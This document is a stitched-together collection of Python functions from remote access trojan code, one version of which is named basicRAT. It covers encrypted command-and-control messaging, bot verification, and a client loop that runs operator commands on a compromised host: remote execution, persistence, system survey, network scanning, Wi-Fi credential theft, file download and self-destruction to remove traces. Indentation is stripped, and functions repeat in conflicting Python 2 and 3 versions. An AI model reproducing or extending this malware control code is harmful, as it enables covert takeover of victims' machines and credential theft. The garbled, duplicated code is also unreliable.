def main():
# prep data to send to server
data = server_to_client(CMD, ACT)
data = dict2json(data)
enc_data = encrypt(data, KEY)
# data sent to client
dec_data = decrypt(enc_data, KEY)
dec_data = json2dict(dec_data)
dec_cmd, dec_act = dec_data['command'], dec_data['action']
# things are working so far :)
if (CMD == dec_cmd) and (ACT == dec_act):
print('working!')
results = os.popen('%s %s' % (CMD, ACT)).read()
# prep data to send to client
data = client_to_server(results)
data = dict2json(data)
enc_data = encrypt(data, KEY)
# data sent to server
dec_data = decrypt(enc_data, KEY)
dec_data = json2dict(dec_data)
dec_results = dec_data['results']
print(dec_results)
def recv_client(self, client):
try:
recv_data = client.conn.recv(4096)
print decrypt(recv_data, client.dhkey)
#print recv_data
except Exception as e:
print '[!] Error: {}'.format(e)
def on_message(self, device: Device, message: bytes) -> dict:
if validate_token(message):
self.logger.encrypted_message("Received bytes: {}".format(message))
message = decrypt(message, device.key)
self.logger.message("Received decrypted: {}".format(message))
try:
message = json.loads(message, cls=MessageDecoder)
except json.JSONDecodeError as e:
self.logger.error("Failed to decode message {}: {}".format(
message, e))
raise Exception("Failed to decode message")
if device.is_verified():
return message
else:
if message.get("event_type") == "assign":
if str(message.get(
"encryption_key")).encode() == device.custom_key:
device.key = device.custom_key
device.set_verified(True)
self.connected.emit(device, device.ip(), device.port())
self.logger.info("Device {} validated".format(
device.id()))
else:
self.logger.warning(
"Assigned keys do not match! Bot {} will be kicked!"
.format(device.id()))
device.kick()
else:
self.decryption_error.emit(device, message)
raise Exception("Message is not valid")
return {}
def old_output(self, timeout=10):
readable, _, exceptional = select.select([self.conn], [], [self.conn], timeout)
if self.conn in exceptional:
print 'Error: Socket error.'
elif self.conn in readable:
recv_data = decrypt(self.conn.recv(4096), self.dhkey)
return recv_data
def client_loop(conn, dhkey):
while True:
results = ''
# wait to receive data from server
data = crypto.decrypt(conn.recv(4096), dhkey)
# seperate data into command and action
cmd, _, action = data.partition(' ')
if cmd == 'kill':
conn.close()
return 1
elif cmd == 'selfdestruct':
conn.close()
toolkit.selfdestruct(PLAT)
elif cmd == 'goodbye':
conn.shutdown(socket.SHUT_RDWR)
conn.close()
break
elif cmd == 'rekey':
dhkey = crypto.diffiehellman(conn)
elif cmd == 'persistence':
results = persistence.run(PLAT)
elif cmd == 'scan':
results = scan.single_host(action)
elif cmd == 'survey':
results = survey.run(PLAT)
elif cmd == 'cat':
results = toolkit.cat(action, PLAT)
elif cmd == 'execute':
results = toolkit.execute(action)
elif cmd == 'stealwifi':
results = toolkit.stealwifi(PLAT)
elif cmd == 'ls':
results = toolkit.ls(action, PLAT)
elif cmd == 'pwd':
results = toolkit.pwd(PLAT)
elif cmd == 'unzip':
results = toolkit.unzip(action)
elif cmd == 'wget':
results = toolkit.wget(action)
results += '\n{} completed.'.format(cmd)
conn.send(crypto.encrypt(results, dhkey))
def recv_client(self, client):
try:
recv_data = client.conn.recv(4096)
recv_data = decrypt(recv_data, client.dhkey)
recv_data = json2dict(recv_data)
recv_data = recv_data['results']
print(recv_data)
except Exception as e:
print('Error: {}'.format(e))
def client_loop(conn, dhkey):
while True:
results = ''
# wait to receive data from server
data = crypto.decrypt(conn.recv(4096), dhkey)
# error checking here! for faulty shit (both sides of recv)
data = json2dict(data)
cmd, action = data['command'], data['action']
if cmd == 'kill':
conn.close()
return 1
elif cmd == 'selfdestruct':
conn.close()
toolkit.selfdestruct(PLAT)
elif cmd == 'quit':
conn.shutdown(socket.SHUT_RDWR)
conn.close()
break
elif cmd == 'persistence':
results = persistence.run(PLAT)
elif cmd == 'scan':
results = scan.single_host(action)
elif cmd == 'survey':
results = survey.run(PLAT)
elif cmd == 'cat':
results = toolkit.cat(action)
elif cmd == 'execute':
results = toolkit.execute(action)
elif cmd == 'ls':
results = toolkit.ls(action)
elif cmd == 'pwd':
results = toolkit.pwd()
elif cmd == 'unzip':
results = toolkit.unzip(action)
elif cmd == 'wget':
results = toolkit.wget(action)
results = results.rstrip() + '\n{} completed.'.format(cmd)
data = client_to_server(results)
data = dict2json(data)
conn.send(crypto.encrypt(data, dhkey))
def send(self, prompt):
if not self.alive:
print 'Error: Client not connected.'
return
# check for old output
readable, _, _ = select.select([self.conn], [], [], 0)
if readable:
print self.old_output(0)
# seperate prompt into command and action
cmd, _, action = prompt.partition(' ')
# selfdestruct rat
if cmd == 'selfdestruct':
if raw_input('Remove all traces of basicRAT from the target ' \
'system (y/N)? ').startswith('y'):
print 'Running selfdestruct...'
self.conn.send(encrypt(prompt, self.dhkey))
self.conn.close()
return
# send prompt to client
try:
self.conn.send(encrypt(prompt, self.dhkey))
except socket.error:
print 'Error: Could not connect to client.'
return
self.conn.settimeout(1)
# kill client connection
if cmd == 'kill':
self.conn.close()
if cmd == 'rekey':
self.dhkey = diffiehellman(self.conn)
# results of execute, persistence, scan, survey, unzip, wget, or stealwifi
if cmd in [
'cat', 'execute', 'ls', 'persistence', 'pwd', 'rekey', 'scan',
'survey', 'unzip', 'wget', 'stealwifi'
]:
print 'Running {}...'.format(cmd)
recv_data = decrypt(self.conn.recv(4096), self.dhkey)
print recv_data
def on_message(self, message: bytes) -> dict:
if self.key and validate_token(message):
self.logger.encrypted_message("Received bytes: {}".format(message))
message = decrypt(message, self.key)
self.logger.message("Received decrypted: {}".format(message))
else:
self.decryption_error.emit(message)
try:
message = json.loads(message, cls=MessageDecoder)
if message.get("event_type") == "assign":
encryption_key = message.get("encryption_key")
self.write({
"event_type": "assign",
"encryption_key": encryption_key
})
self.key = encryption_key
self.connected.emit(self.server_ip, self.server_port)
return {}
else:
self.message.emit(message)
return message
except json.JSONDecodeError as e:
self.logger.error("Failed to decode message {}: {}".format(
message, e))
def recv_client(self, client):
try:
recv_data = client.conn.recv(4096)
print decrypt(recv_data, client.dhkey)
except:
print 'Error: Could not connect to client.'
def recv_client(self, client):
try:
recv_data = client.conn.recv(4096)
print(decrypt(recv_data, client.dhkey))
except Exception as e:
print("[!]: {}".format(str(e)))